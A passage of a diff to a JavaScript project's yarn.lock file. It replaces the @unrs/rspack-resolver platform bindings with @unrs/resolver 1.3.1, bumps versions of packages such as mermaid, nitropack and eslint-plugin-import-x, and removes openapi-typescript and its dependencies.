     "@unocss/core" "^66.0.0"
     magic-string "^0.30.17"
 
-"@unrs/rspack-resolver-binding-darwin-arm64@1.2.2":
-  version "1.2.2"
-  resolved "https://registry.yarnpkg.com/@unrs/rspack-resolver-binding-darwin-arm64/-/rspack-resolver-binding-darwin-arm64-1.2.2.tgz#4a40be18ae1d5a417ca9246b0e9c7eda11a49998"
-  integrity sha512-i7z0B+C0P8Q63O/5PXJAzeFtA1ttY3OR2VSJgGv18S+PFNwD98xHgAgPOT1H5HIV6jlQP8Avzbp09qxJUdpPNw==
+"@unrs/resolver-binding-darwin-arm64@1.3.1":
+  version "1.3.1"
+  resolved "https://registry.yarnpkg.com/@unrs/resolver-binding-darwin-arm64/-/resolver-binding-darwin-arm64-1.3.1.tgz#5248c8a07dc76ab499d2325b2487e89d7fdf0cf2"
+  integrity sha512-PdaB3zQ6Z3Jn+m/5ajYCbR0tQFFTwr3ddJ/SH2L+AAKBUfEKJHUv/dZIJNKkCq2YVJNL/SfdksRe+nU3e5f2Lg==
 
-"@unrs/rspack-resolver-binding-darwin-x64@1.2.2":
-  version "1.2.2"
-  resolved "https://registry.yarnpkg.com/@unrs/rspack-resolver-binding-darwin-x64/-/rspack-resolver-binding-darwin-x64-1.2.2.tgz#f1d9226724fa4f47f0eaab50fb046568e29d68e0"
-  integrity sha512-YEdFzPjIbDUCfmehC6eS+AdJYtFWY35YYgWUnqqTM2oe/N58GhNy5yRllxYhxwJ9GcfHoNc6Ubze1yjkNv+9Qg==
+"@unrs/resolver-binding-darwin-x64@1.3.1":
+  version "1.3.1"
+  resolved "https://registry.yarnpkg.com/@unrs/resolver-binding-darwin-x64/-/resolver-binding-darwin-x64-1.3.1.tgz#ff59fc1d960958e3f72b12b061f895909cf235fa"
+  integrity sha512-SyrYaFWaWla0PK5Bf0d8zXbK/OiiPO/nPyksT9JPzgzP2Qt7GTwihSA+lwdbu0MJfG/ppEVou/qedmhbevJPGQ==
 
-"@unrs/rspack-resolver-binding-freebsd-x64@1.2.2":
-  version "1.2.2"
-  resolved "https://registry.yarnpkg.com/@unrs/rspack-resolver-binding-freebsd-x64/-/rspack-resolver-binding-freebsd-x64-1.2.2.tgz#3f14520900a130bf1b30922a7be0024968506e8c"
-  integrity sha512-TU4ntNXDgPN2giQyyzSnGWf/dVCem5lvwxg0XYvsvz35h5H19WrhTmHgbrULMuypCB3aHe1enYUC9rPLDw45mA==
+"@unrs/resolver-binding-freebsd-x64@1.3.1":
+  version "1.3.1"
+  resolved "https://registry.yarnpkg.com/@unrs/resolver-binding-freebsd-x64/-/resolver-binding-freebsd-x64-1.3.1.tgz#dd5b98c9d9d2e80f6e8f454800e285509a26c6f6"
+  integrity sha512-Ky60j3ZLqbM0Rbwo04htABNTWRDNx6GttGX+L9ixE1T5/XBDmrMSOqxvWhqfVeZHskQ3/pCVEH/ylmofJ6mFZg==
 
-"@unrs/rspack-resolver-binding-linux-arm-gnueabihf@1.2.2":
-  version "1.2.2"
-  resolved "https://registry.yarnpkg.com/@unrs/rspack-resolver-binding-linux-arm-gnueabihf/-/rspack-resolver-binding-linux-arm-gnueabihf-1.2.2.tgz#7aa5ae2d6c762b0737694b48cd069629dd205c0c"
-  integrity sha512-ik3w4/rU6RujBvNWiDnKdXi1smBhqxEDhccNi/j2rHaMjm0Fk49KkJ6XKsoUnD2kZ5xaMJf9JjailW/okfUPIw==
+"@unrs/resolver-binding-linux-arm-gnueabihf@1.3.1":
+  version "1.3.1"
+  resolved "https://registry.yarnpkg.com/@unrs/resolver-binding-linux-arm-gnueabihf/-/resolver-binding-linux-arm-gnueabihf-1.3.1.tgz#43f39884b819705ee8ac6637debe1469b177bfa0"
+  integrity sha512-Un+2iis8yZMkP0qLDqjAEoRjsw40jvrgyaLtaeVk0G77AXdo0QrpUq1dqXvE9M9lVVJj7kXfaDtE7CBZ1EWmoQ==
 
-"@unrs/rspack-resolver-binding-linux-arm64-gnu@1.2.2":
-  version "1.2.2"
-  resolved "https://registry.yarnpkg.com/@unrs/rspack-resolver-binding-linux-arm64-gnu/-/rspack-resolver-binding-linux-arm64-gnu-1.2.2.tgz#1422b244db1ff7eb79d74260d25dac976c423e91"
-  integrity sha512-fp4Azi8kHz6TX8SFmKfyScZrMLfp++uRm2srpqRjsRZIIBzH74NtSkdEUHImR4G7f7XJ+sVZjCc6KDDK04YEpQ==
+"@unrs/resolver-binding-linux-arm-musleabihf@1.3.1":
+  version "1.3.1"
+  resolved "https://registry.yarnpkg.com/@unrs/resolver-binding-linux-arm-musleabihf/-/resolver-binding-linux-arm-musleabihf-1.3.1.tgz#957c937b7e5d2c7564b995c786c66e423ce85fbb"
+  integrity sha512-Vj6LgN8zTwfiPSTtaneKb3kWS0kc6qmZTASCUg5oPviXJh9WsXwRKQE/biYwX0C/YDY5S1Dqs6AV7R5i3X95ew==
 
-"@unrs/rspack-resolver-binding-linux-arm64-musl@1.2.2":
-  version "1.2.2"
-  resolved "https://registry.yarnpkg.com/@unrs/rspack-resolver-binding-linux-arm64-musl/-/rspack-resolver-binding-linux-arm64-musl-1.2.2.tgz#9cc30a98b25b704b3d3bb17b9932a24d39049719"
-  integrity sha512-gMiG3DCFioJxdGBzhlL86KcFgt9HGz0iDhw0YVYPsShItpN5pqIkNrI+L/Q/0gfDiGrfcE0X3VANSYIPmqEAlQ==
+"@unrs/resolver-binding-linux-arm64-gnu@1.3.1":
+  version "1.3.1"
+  resolved "https://registry.yarnpkg.com/@unrs/resolver-binding-linux-arm64-gnu/-/resolver-binding-linux-arm64-gnu-1.3.1.tgz#9f028621b082a0f4d81f161358352ba48ac143ff"
+  integrity sha512-aA4KA/92L62KLZf7d2b6JSrRCRpenFIKuIyLckf0DqLSEavKq3Iql8xU7T7OW8ite0+b4uQlx7RjkCFsME8KYg==
 
-"@unrs/rspack-resolver-binding-linux-x64-gnu@1.2.2":
-  version "1.2.2"
-  resolved "https://registry.yarnpkg.com/@unrs/rspack-resolver-binding-linux-x64-gnu/-/rspack-resolver-binding-linux-x64-gnu-1.2.2.tgz#1ce389a2317c96276ceec82de4e6e325974946a7"
-  integrity sha512-n/4n2CxaUF9tcaJxEaZm+lqvaw2gflfWQ1R9I7WQgYkKEKbRKbpG/R3hopYdUmLSRI4xaW1Cy0Bz40eS2Yi4Sw==
+"@unrs/resolver-binding-linux-arm64-musl@1.3.1":
+  version "1.3.1"
+  resolved "https://registry.yarnpkg.com/@unrs/resolver-binding-linux-arm64-musl/-/resolver-binding-linux-arm64-musl-1.3.1.tgz#48da9a4ab803906f863b2776b218683bbeb011a6"
+  integrity sha512-WyVE0f4gks4v0kL4B4l5SB7GrEZvT7ZYbZjdVDHRpnrhYjEoEj/3G1Otu7XAkf1ykXZ65dVLqPBVeNn8OYbsPA==
 
-"@unrs/rspack-resolver-binding-linux-x64-musl@1.2.2":
-  version "1.2.2"
-  resolved "https://registry.yarnpkg.com/@unrs/rspack-resolver-binding-linux-x64-musl/-/rspack-resolver-binding-linux-x64-musl-1.2.2.tgz#6d262acedac6d6e3d85c2d370de47e8e669cc316"
-  integrity sha512-cHyhAr6rlYYbon1L2Ag449YCj3p6XMfcYTP0AQX+KkQo025d1y/VFtPWvjMhuEsE2lLvtHm7GdJozj6BOMtzVg==
+"@unrs/resolver-binding-linux-ppc64-gnu@1.3.1":
+  version "1.3.1"
+  resolved "https://registry.yarnpkg.com/@unrs/resolver-binding-linux-ppc64-gnu/-/resolver-binding-linux-ppc64-gnu-1.3.1.tgz#3df0df950663669a3f163a9d17e9aa492e72d96f"
+  integrity sha512-BcF2tCI8B+oD1F+6jNxZxUWKzaCr4aNCrPnU3K/OLmMTdttHeiS2u3KvwZmgpkEc36gIBx65P7VFh4rBhcOQKA==
 
-"@unrs/rspack-resolver-binding-wasm32-wasi@1.2.2":
-  version "1.2.2"
-  resolved "https://registry.yarnpkg.com/@unrs/rspack-resolver-binding-wasm32-wasi/-/rspack-resolver-binding-wasm32-wasi-1.2.2.tgz#72bf01b52c5e2d567b5f90ee842cde674e0356c7"
-  integrity sha512-eogDKuICghDLGc32FtP+WniG38IB1RcGOGz0G3z8406dUdjJvxfHGuGs/dSlM9YEp/v0lEqhJ4mBu6X2nL9pog==
+"@unrs/resolver-binding-linux-s390x-gnu@1.3.1":
+  version "1.3.1"
+  resolved "https://registry.yarnpkg.com/@unrs/resolver-binding-linux-s390x-gnu/-/resolver-binding-linux-s390x-gnu-1.3.1.tgz#d4c8b31a1c2fdfd99cca28feafa75d52121596ba"
+  integrity sha512-stCbOVTMrYsCyKfSkr8mvdUz78kkHCqMSy60LuK245pJByFgs4vG8Qpehr4jDHORHve4OOXf3ZJP5vEJuil2ng==
+
+"@unrs/resolver-binding-linux-x64-gnu@1.3.1":
+  version "1.3.1"
+  resolved "https://registry.yarnpkg.com/@unrs/resolver-binding-linux-x64-gnu/-/resolver-binding-linux-x64-gnu-1.3.1.tgz#52d138becb3d0600e7d9c29c938df1b529b613f3"
+  integrity sha512-lZZunwEvM6mCbibcS7Jxd2fYT9D/aRjjw24p0ua43lIymkzhAUA1UI11q6MWmZF0EgrLoFfAS73ExjyU5ghTWA==
+
+"@unrs/resolver-binding-linux-x64-musl@1.3.1":
+  version "1.3.1"
+  resolved "https://registry.yarnpkg.com/@unrs/resolver-binding-linux-x64-musl/-/resolver-binding-linux-x64-musl-1.3.1.tgz#466ba6d9e0b459e64c5104f6877d91a70cd1088b"
+  integrity sha512-mhAUo+vj5jO76AKhy/IP7ALzGw0m/6EkOIZYrW64AlmGlm094CvHzQqHz/nAW3ffQLZMzhBez8AuhZwdgCeqrA==
+
+"@unrs/resolver-binding-wasm32-wasi@1.3.1":
+  version "1.3.1"
+  resolved "https://registry.yarnpkg.com/@unrs/resolver-binding-wasm32-wasi/-/resolver-binding-wasm32-wasi-1.3.1.tgz#6bfc1654736d682c94cde0f23345aef41b9be3ac"
+  integrity sha512-2eKumvKdxBlvDjgbv5I/slDlw0lyRno0VsOPNl9L4cyO/LftBoPPZUEhRpN/JuEjX0PljEbAPG9j1Kd1EpTV6w==
   dependencies:
     "@napi-rs/wasm-runtime" "^0.2.7"
 
-"@unrs/rspack-resolver-binding-win32-arm64-msvc@1.2.2":
-  version "1.2.2"
-  resolved "https://registry.yarnpkg.com/@unrs/rspack-resolver-binding-win32-arm64-msvc/-/rspack-resolver-binding-win32-arm64-msvc-1.2.2.tgz#e1a74655a42d48d2c005dd69ba148547167e1701"
-  integrity sha512-7sWRJumhpXSi2lccX8aQpfFXHsSVASdWndLv8AmD8nDRA/5PBi8IplQVZNx2mYRx6+Bp91Z00kuVqpXO9NfCTg==
+"@unrs/resolver-binding-win32-arm64-msvc@1.3.1":
+  version "1.3.1"
+  resolved "https://registry.yarnpkg.com/@unrs/resolver-binding-win32-arm64-msvc/-/resolver-binding-win32-arm64-msvc-1.3.1.tgz#66e05602eea9d59fbf84d3a1202a5afcfbc6a61f"
+  integrity sha512-4McXLSAp5lcg94AuKQ/SefXswIuZbO4VDzBSvcKP7Hy0mEJAuxKfGKUeDSFobu/CBDPJ9emhDJHLRbo3k3AcGw==
 
-"@unrs/rspack-resolver-binding-win32-x64-msvc@1.2.2":
-  version "1.2.2"
-  resolved "https://registry.yarnpkg.com/@unrs/rspack-resolver-binding-win32-x64-msvc/-/rspack-resolver-binding-win32-x64-msvc-1.2.2.tgz#ac441b3bd8cf97b7d3d35f4e7f9792f8e257e729"
-  integrity sha512-hewo/UMGP1a7O6FG/ThcPzSJdm/WwrYDNkdGgWl6M18H6K6MSitklomWpT9MUtT5KGj++QJb06va/14QBC4pvw==
+"@unrs/resolver-binding-win32-ia32-msvc@1.3.1":
+  version "1.3.1"
+  resolved "https://registry.yarnpkg.com/@unrs/resolver-binding-win32-ia32-msvc/-/resolver-binding-win32-ia32-msvc-1.3.1.tgz#7c2a6bc5e78cfe7d7d0f80cfd2f2ced1ce190070"
+  integrity sha512-8k9ioJqL+0HlFQW+J795Iw5Eowfhis3xhY3W0EfOFvUCXYhilGPBuHGTSh3t4M/pMC49vBJ0ZTpsR/jk8oAWIg==
+
+"@unrs/resolver-binding-win32-x64-msvc@1.3.1":
+  version "1.3.1"
+  resolved "https://registry.yarnpkg.com/@unrs/resolver-binding-win32-x64-msvc/-/resolver-binding-win32-x64-msvc-1.3.1.tgz#d0dfe5fea2ff227b4abea1fba8be5912b4c5fd94"
+  integrity sha512-/dargLEQa2N4o/lNml09ff2P11XpBq50Jpjk8cMsDvj8YmzKLTzqguobXavj63ZWE9mN+Y3DTEbVpQOk+uY9XQ==
 
 "@vercel/nft@^0.29.2":
   version "0.29.2"
@@ -2954,14 +2944,9 @@ ajv@^6.12.4, ajv@^6.12.5:
     uri-js "^4.2.2"
 
 alien-signals@^1.0.3:
-  version "1.0.7"
-  resolved "https://registry.yarnpkg.com/alien-signals/-/alien-signals-1.0.7.tgz#6fd7fb39031fc1fdcb34b7135a7575e7a7adf806"
-  integrity sha512-OfUBerxNtc4PsNwkSu8KVHMOJUKmFLmLmeYsBBTnwzlezm+LmvJk31iE7Ggk1hS/S7GIrn9QNGm+NlkhxJmMQQ==
-
-ansi-colors@^4.1.3:
-  version "4.1.3"
-  resolved "https://registry.yarnpkg.com/ansi-colors/-/ansi-colors-4.1.3.tgz#37611340eb2243e70cc604cad35d63270d48781b"
-  integrity sha512-/6w/C21Pm1A7aZitlI5Ni/2J6FFQN8i1Cvz3kHABAAbw93v/NlvKdVOqz7CCWz/3iv/JplRSEEZ83XION15ovw==
+  version "1.0.8"
+  resolved "https://registry.yarnpkg.com/alien-signals/-/alien-signals-1.0.8.tgz#911e82041dfe8ab4e34fe59a95f3dc4d03e265bf"
+  integrity sha512-5Tnk+Q3E7b4NgTgxAyoggQHeEzUicxgiZhcFvBQhM4catV+wFDTmoHPectL7FL5YzkCjz4zhB/y00Q7n3vwVGQ==
 
 ansi-regex@^5.0.1:
   version "5.0.1"
@@ -3169,7 +3154,7 @@ birpc@^0.2.19:
   resolved "https://registry.yarnpkg.com/birpc/-/birpc-0.2.19.tgz#cdd183a4a70ba103127d49765b4a71349da5a0ca"
   integrity sha512-5WeXXAvTmitV1RqJFppT5QtUiz2p1mRSYU000Jkft5ZUCLJIk4uQriYNO50HknxKwM6jd8utNc66K1qGIwwWBQ==
 
-birpc@^2.0.19, birpc@^2.2.0:
+birpc@^2.0.19, birpc@^2.3.0:
   version "2.3.0"
   resolved "https://registry.yarnpkg.com/birpc/-/birpc-2.3.0.tgz#e5a402dc785ef952a2383ef3cfc075e0842f3e8c"
   integrity sha512-ijbtkn/F3Pvzb6jHypHRyve2QApOCZDR25D/VnkY2G/lBNcXCTsnsCxgY4k4PkVB7zfwzYbY3O9Lcqe3xufS5g==
@@ -3343,11 +3328,6 @@ chalk@^5.4.1:
   resolved "https://registry.yarnpkg.com/chalk/-/chalk-5.4.1.tgz#1b48bf0963ec158dce2aacf69c093ae2dd2092d8"
   integrity sha512-zgVZuo2WcZgfUEmsn6eO3kINexW8RAE4maiQ8QNs8CtpPCSyMiYsULR3HQYkm3w8FIA3SberyMJMSldGsW+U3w==
 
-change-case@^5.4.4:
-  version "5.4.4"
-  resolved "https://registry.yarnpkg.com/change-case/-/change-case-5.4.4.tgz#0d52b507d8fb8f204343432381d1a6d7bff97a02"
-  integrity sha512-HRQyTk2/YPEkt9TnUPbOpr64Uw3KOicFWPVBb+xiHvd6eBx/qPr9xqfBFDT8P2vWsvvz4jbEkfDe71W3VyNu2w==
-
 char-regex@^1.0.2:
   version "1.0.2"
   resolved "https://registry.yarnpkg.com/char-regex/-/char-regex-1.0.2.tgz#d744358226217f981ed58f479b1d6bcc29545dcf"
@@ -3504,11 +3484,6 @@ colord@^2.9.3:
   resolved "https://registry.yarnpkg.com/colord/-/colord-2.9.3.tgz#4f8ce919de456f1d5c1c368c307fe20f3e59fb43"
   integrity sha512-jeC1axXpnb0/2nn/Y1LPuLdgXBLH7aDcHu4KEKfqw3CUhX7ZpfBSlPKyqXE6btIgEzfWtrX3/tyBCaCvXvMkOw==
 
-colorette@^1.2.0:
-  version "1.4.0"
-  resolved "https://registry.yarnpkg.com/colorette/-/colorette-1.4.0.tgz#5190fbb87276259a86ad700bff2c6d6faa3fca40"
-  integrity sha512-Y2oEozpomLn7Q3HFP7dpww7AtMJplbM9lGZP6RDfHqmbeRjiwRg4n6VM6j4KLmRke85uWEI7JqF17f3pqdRA0g==
-
 comma-separated-tokens@^2.0.0:
   version "2.0.3"
   resolved "https://registry.yarnpkg.com/comma-separated-tokens/-/comma-separated-tokens-2.0.3.tgz#4e89c9458acb61bc8fef19f4529973b2392839ee"
@@ -4404,9 +4379,9 @@ ee-first@1.1.1:
   integrity sha512-WMwm9LhRUo+WUaRN+vRuETqG89IgZphVSNkdFgeb6sS/E4OrDIN7t48CAewSHXc6C8lefD8KKfr5vY61brQlow==
 
 electron-to-chromium@^1.5.73:
-  version "1.5.123"
-  resolved "https://registry.yarnpkg.com/electron-to-chromium/-/electron-to-chromium-1.5.123.tgz#fae5bdba0ba27045895176327aa79831aba0790c"
-  integrity sha512-refir3NlutEZqlKaBLK0tzlVLe5P2wDKS7UQt/3SpibizgsRAPOsqQC3ffw1nlv3ze5gjRQZYHoPymgVZkplFA==
+  version "1.5.124"
+  resolved "https://registry.yarnpkg.com/electron-to-chromium/-/electron-to-chromium-1.5.124.tgz#34b1d6baf8f21d9dbcbae6e67fa276e54554ce81"
+  integrity sha512-riELkpDUqBi00gqreV3RIGoowxGrfueEKBd6zPdOk/I8lvuFpBGNkYoHof3zUHbiTBsIU8oxdIIL/WNrAG1/7A==
 
 emoji-regex-xs@^1.0.0:
   version "1.0.0"
@@ -4619,22 +4594,22 @@ eslint-merge-processors@^2.0.0:
   integrity sha512-sUuhSf3IrJdGooquEUB5TNpGNpBoQccbnaLHsb1XkBLUPPqCNivCpY05ZcpCOiV9uHwO2yxXEWVczVclzMxYlA==
 
 eslint-plugin-import-x@^4.6.1:
-  version "4.9.1"
-  resolved "https://registry.yarnpkg.com/eslint-plugin-import-x/-/eslint-plugin-import-x-4.9.1.tgz#c13b37e662111dc1a0e6ab8c4f4ee72b955d15d1"
-  integrity sha512-YJ9W12tfDBBYVUUI5FVls6ZrzbVmfrHcQkjeHrG6I7QxWAlIbueRD+G4zPTg1FwlBouunTYm9dhJMVJZdj9wwQ==
+  version "4.9.3"
+  resolved "https://registry.yarnpkg.com/eslint-plugin-import-x/-/eslint-plugin-import-x-4.9.3.tgz#29149ddd02aaccb010c9682532bd3c0080843dab"
+  integrity sha512-NrPUarxpFzGpQVXdVWkGttDD8WIxBuM/dRNw5kKFxrlGdjAJ3l8ma0LK5hsK5Qp79GBGM+HY1zYVbHqateTklA==
   dependencies:
     "@types/doctrine" "^0.0.9"
-    "@typescript-eslint/utils" "^8.27.0"
+    "@typescript-eslint/utils" "^8.28.0"
     debug "^4.4.0"
     doctrine "^3.0.0"
     eslint-import-resolver-node "^0.3.9"
     get-tsconfig "^4.10.0"
     is-glob "^4.0.3"
     minimatch "^10.0.1"
-    rspack-resolver "^1.2.2"
     semver "^7.7.1"
     stable-hash "^0.0.5"
     tslib "^2.8.1"
+    unrs-resolver "^1.3.1"
 
 eslint-plugin-jsdoc@^50.6.3:
   version "50.6.9"
@@ -4654,9 +4629,9 @@ eslint-plugin-jsdoc@^50.6.3:
     synckit "^0.9.1"
 
 eslint-plugin-prettier@^5.2.3:
-  version "5.2.4"
-  resolved "https://registry.yarnpkg.com/eslint-plugin-prettier/-/eslint-plugin-prettier-5.2.4.tgz#6daa54a11da8c48971475d7c0e239d0b6c6dbc60"
-  integrity sha512-SFtuYmnhwYCtuCDTKPoK+CEzCnEgKTU2qTLwoCxvrC0MFBTIXo1i6hDYOI4cwHaE5GZtlWmTN3YfucYi7KJwPw==
+  version "5.2.5"
+  resolved "https://registry.yarnpkg.com/eslint-plugin-prettier/-/eslint-plugin-prettier-5.2.5.tgz#0ff00b16f4c80ccdafd6a24a263effba1700087e"
+  integrity sha512-IKKP8R87pJyMl7WWamLgPkloB16dagPIdd2FjBDbyRYPKo93wS/NbCOPh6gH+ieNLC+XZrhJt/kWj0PS/DFdmg==
   dependencies:
     prettier-linter-helpers "^1.0.0"
     synckit "^0.10.2"
@@ -5645,9 +5620,9 @@ image-size@^2.0.0, image-size@^2.0.1:
   integrity sha512-NI6NK/2zchlZopsQrcVIS7jxA0/rtIy74B+/rx5s7rKQyFebmQjZVhzxXgRZJROk+WhhOq+S6sUaODxp0L5hfg==
 
 immutable@^5.0.2:
-  version "5.0.3"
-  resolved "https://registry.yarnpkg.com/immutable/-/immutable-5.0.3.tgz#aa037e2313ea7b5d400cd9298fa14e404c933db1"
-  integrity sha512-P8IdPQHq3lA1xVeBRi5VPqUm5HDgKnx0Ru51wZz5mjxHr5n3RWhjIpOFU7ybkUxfB+5IToy+OLaHYDBIWsv+uw==
+  version "5.1.1"
+  resolved "https://registry.yarnpkg.com/immutable/-/immutable-5.1.1.tgz#d4cb552686f34b076b3dcf23c4384c04424d8354"
+  integrity sha512-3jatXi9ObIsPGr3N5hGw/vWWcTkq6hUYhpQz4k0wLC+owqWi/LiugIw9x0EdNZ2yGedKN/HzePiBvaJRXa0Ujg==
 
 import-fresh@^3.2.1:
   version "3.3.1"
@@ -5966,11 +5941,6 @@ jiti@^2.1.2, jiti@^2.4.2:
   resolved "https://registry.yarnpkg.com/jiti/-/jiti-2.4.2.tgz#d19b7732ebb6116b06e2038da74a55366faef560"
   integrity sha512-rg9zJN+G4n2nfJl5MW3BMygZX56zKPNVEYYqq7adpmMh4Jn2QNEwhvQlFy6jPVdcod7txZtKHWnyZiA3a0zP7A==
 
-js-levenshtein@^1.1.6:
-  version "1.1.6"
-  resolved "https://registry.yarnpkg.com/js-levenshtein/-/js-levenshtein-1.1.6.tgz#c6cee58eb3550372df8deb85fad5ce66ce01d59d"
-  integrity sha512-X2BB11YZtrRqY4EnQcLX5Rh373zbK4alC1FW7D7MBhL2gtcC17cTnr6DmfHZeS0s2rTHjUTMMHfG7gO8SSdw+g==
-
 js-tokens@^4.0.0:
   version "4.0.0"
   resolved "https://registry.yarnpkg.com/js-tokens/-/js-tokens-4.0.0.tgz#19203fb59991df98e3a287050d4647cdeaf32499"
@@ -6026,11 +5996,6 @@ json-schema-traverse@^0.4.1:
   resolved "https://registry.yarnpkg.com/json-schema-traverse/-/json-schema-traverse-0.4.1.tgz#69f6a87d9513ab8bb8fe63bdb0979c448e684660"
   integrity sha512-xbbCH5dCYU5T8LcEhhuh7HJ88HXuW3qsI3Y0zOZFKfZEHcpWiHU/Jxzk629Brsab/mMiHQti9wMP+845RPe3Vg==
 
-json-schema-traverse@^1.0.0:
-  version "1.0.0"
-  resolved "https://registry.yarnpkg.com/json-schema-traverse/-/json-schema-traverse-1.0.0.tgz#ae7bcb3656ab77a73ba5c49bf654f38e6b6860e2"
-  integrity sha512-NM8/P9n3XjXhIZn1lLhkFaACTOURQXjWhV4BA/RnOv8xvgqtqpAX9IO4mRQxSx1Rlo4tqzeqb0sOlruaOy3dug==
-
 json-stable-stringify-without-jsonify@^1.0.1:
   version "1.0.1"
   resolved "https://registry.yarnpkg.com/json-stable-stringify-without-jsonify/-/json-stable-stringify-without-jsonify-1.0.1.tgz#9db7b59496ad3f3cfef30a75142d2d930ad72651"
@@ -6095,10 +6060,10 @@ kolorist@^1.8.0:
   resolved "https://registry.yarnpkg.com/kolorist/-/kolorist-1.8.0.tgz#edddbbbc7894bc13302cdf740af6374d4a04743c"
   integrity sha512-Y+60/zizpJ3HRH8DCss+q95yr6145JXZo46OTpFvDZWLfRCE4qChOyk1b26nMaNpfHHgxagk9dXT5OP0Tfe+dQ==
 
-langium@3.0.0:
-  version "3.0.0"
-  resolved "https://registry.yarnpkg.com/langium/-/langium-3.0.0.tgz#4938294eb57c59066ef955070ac4d0c917b26026"
-  integrity sha512-+Ez9EoiByeoTu/2BXmEaZ06iPNXM6thWJp02KfBO/raSMyCJ4jw7AkWWa+zBCTm0+Tw1Fj9FOxdqSskyN5nAwg==
+langium@3.3.1:
+  version "3.3.1"
+  resolved "https://registry.yarnpkg.com/langium/-/langium-3.3.1.tgz#da745a40d5ad8ee565090fed52eaee643be4e591"
+  integrity sha512-QJv/h939gDpvT+9SiLVlY7tZC3xB2qK57v0J04Sh9wpMb6MP1q8gB21L3WIo8T5P1MSMg3Ep14L7KkDCFG3y4w==
   dependencies:
     chevrotain "~11.0.3"
     chevrotain-allstar "~0.3.0"
@@ -6561,13 +6526,13 @@ merge2@^1.3.0:
   integrity sha512-8q7VEgMJW4J8tcfVPy8g09NcQwZdbwFEqhe/WZkoIzjn/3TGDwtOCYtXGxA3O8tPzpczCCDgv+P2P5y00ZJOOg==
 
 mermaid@^11.4.0:
-  version "11.5.0"
-  resolved "https://registry.yarnpkg.com/mermaid/-/mermaid-11.5.0.tgz#67f1dae9ddcc700b079bae6a5a7b605ea66e7928"
-  integrity sha512-IYhyukID3zzDj1EihKiN1lp+PXNImoJ3Iyz73qeDAgnus4BNGsJV1n471P4PyeGxPVONerZxignwGxGTSwZnlg==
+  version "11.6.0"
+  resolved "https://registry.yarnpkg.com/mermaid/-/mermaid-11.6.0.tgz#eee45cdc3087be561a19faf01745596d946bb575"
+  integrity sha512-PE8hGUy1LDlWIHWBP05SFdqUHGmRcCcK4IzpOKPE35eOw+G9zZgcnMpyunJVUEOgb//KBORPjysKndw8bFLuRg==
   dependencies:
     "@braintree/sanitize-url" "^7.0.4"
     "@iconify/utils" "^2.1.33"
-    "@mermaid-js/parser" "^0.3.0"
+    "@mermaid-js/parser" "^0.4.0"
     "@types/d3" "^7.4.3"
     cytoscape "^3.29.3"
     cytoscape-cose-bilkent "^4.1.0"
@@ -6916,7 +6881,7 @@ minimatch@^3.1.1, minimatch@^3.1.2:
   dependencies:
     brace-expansion "^1.1.7"
 
-minimatch@^5.0.1, minimatch@^5.1.0:
+minimatch@^5.1.0:
   version "5.1.6"
   resolved "https://registry.yarnpkg.com/minimatch/-/minimatch-5.1.6.tgz#1cfcb8cf5522ea69952cd2af95ae09477f122a96"
   integrity sha512-lKwV/1brpG6mBUFHtb7NUmtABCb2WZZmm2wNiOA5hAb8VdCS4B3dtMWyvcoViccwAW/COERjXLt0zP1zXUN26g==
@@ -7041,9 +7006,9 @@ neo-async@^2.6.2:
   integrity sha512-Yd3UES5mWCSqR+qNT93S3UoYUkqAZ9lLg8a7g9rimsWmYGK8cVToA4/sF3RrshdyV3sAGMXVUmpMYOw+dLpOuw==
 
 nitropack@^2.11.7:
-  version "2.11.7"
-  resolved "https://registry.yarnpkg.com/nitropack/-/nitropack-2.11.7.tgz#0f5927db1d0a60e018c9c8d3fabbf6872fde2dd5"
-  integrity sha512-ghqLa3Q4X9qaQiUyspWxxoU1fY2nwfSJqhOH+COqyCp7Vgj4oM1EM1L0YNSQUF16T2tAoOWg8woXGq0EH5Y6wQ==
+  version "2.11.8"
+  resolved "https://registry.yarnpkg.com/nitropack/-/nitropack-2.11.8.tgz#8a4d7f1b403341cb9ee931e1716e81d0078a73c4"
+  integrity sha512-ummTu4R8Lhd1nO3nWrW7eeiHA2ey3ntbWFKkYakm4rcbvT6meWp+oykyrYBNFQKhobQl9CydmUWlCyztYXFPJw==
   dependencies:
     "@cloudflare/kv-asset-handler" "^0.4.0"
     "@netlify/functions" "^3.0.2"
@@ -7091,7 +7056,6 @@ nitropack@^2.11.7:
     node-mock-http "^1.0.0"
     ofetch "^1.4.1"
     ohash "^2.0.11"
-    openapi-typescript "^7.6.1"
     pathe "^2.0.3"
     perfect-debounce "^1.0.0"
     pkg-types "^2.1.0"
@@ -7226,9 +7190,9 @@ nth-check@^2.0.1, nth-check@^2.1.1:
     boolbase "^1.0.0"
 
 nuxt-component-meta@^0.10.0:
-  version "0.10.0"
-  resolved "https://registry.yarnpkg.com/nuxt-component-meta/-/nuxt-component-meta-0.10.0.tgz#695b8c5894fe604b4bff91e435cfaa6156d28e02"
-  integrity sha512-iq7hbSnfp4Ff/PTMYBF8pYabTQuF3u7HVN66Kb3hOnrnaPEdXEn/q6HkAn5V8UjOVSgXYpvycM0wSnwyADYNVA==
+  version "0.10.1"
+  resolved "https://registry.yarnpkg.com/nuxt-component-meta/-/nuxt-component-meta-0.10.1.tgz#5ba11d0062f9e69db10dc9b144129221a35cc88c"
+  integrity sha512-+e01YjZ9hojroO88dvqiOs/Yh4ff/kbXYcfj70l8KhMpmXITz2GBffT9HqwzFdcTm7iE2C422alG42p7yir2nA==
   dependencies:
     "@nuxt/kit" "^3.15.1"
     citty "^0.1.6"
@@ -7508,18 +7472,6 @@ open@^8.4.0:
     is-docker "^2.1.1"
     is-wsl "^2.2.0"
 
-openapi-typescript@^7.6.1:
-  version "7.6.1"
-  resolved "https://registry.yarnpkg.com/openapi-typescript/-/openapi-typescript-7.6.1.tgz#e39d1e21ebf43f91712703f7063118246d099d19"
-  integrity sha512-F7RXEeo/heF3O9lOXo2bNjCOtfp7u+D6W3a3VNEH2xE6v+fxLtn5nq0uvUcA1F5aT+CMhNeC5Uqtg5tlXFX/ag==
-  dependencies:
-    "@redocly/openapi-core" "^1.28.0"
-    ansi-colors "^4.1.3"
-    change-case "^5.4.4"
-    parse-json "^8.1.0"
-    supports-color "^9.4.0"
-    yargs-parser "^21.1.1"
-
 optionator@^0.9.3:
   version "0.9.4"
   resolved "https://registry.yarnpkg.com/optionator/-/optionator-0.9.4.tgz#7ea1c1a5d91d764fb282139c88fe11e182a3a734"
@@ -7664,7 +7616,7 @@ parse-json@^5.0.0:
     json-parse-even-better-errors "^2.3.0"
     lines-and-columns "^1.1.6"
 
-parse-json@^8.0.0, parse-json@^8.1.0:
+parse-json@^8.0.0:
   version "8.2.0"
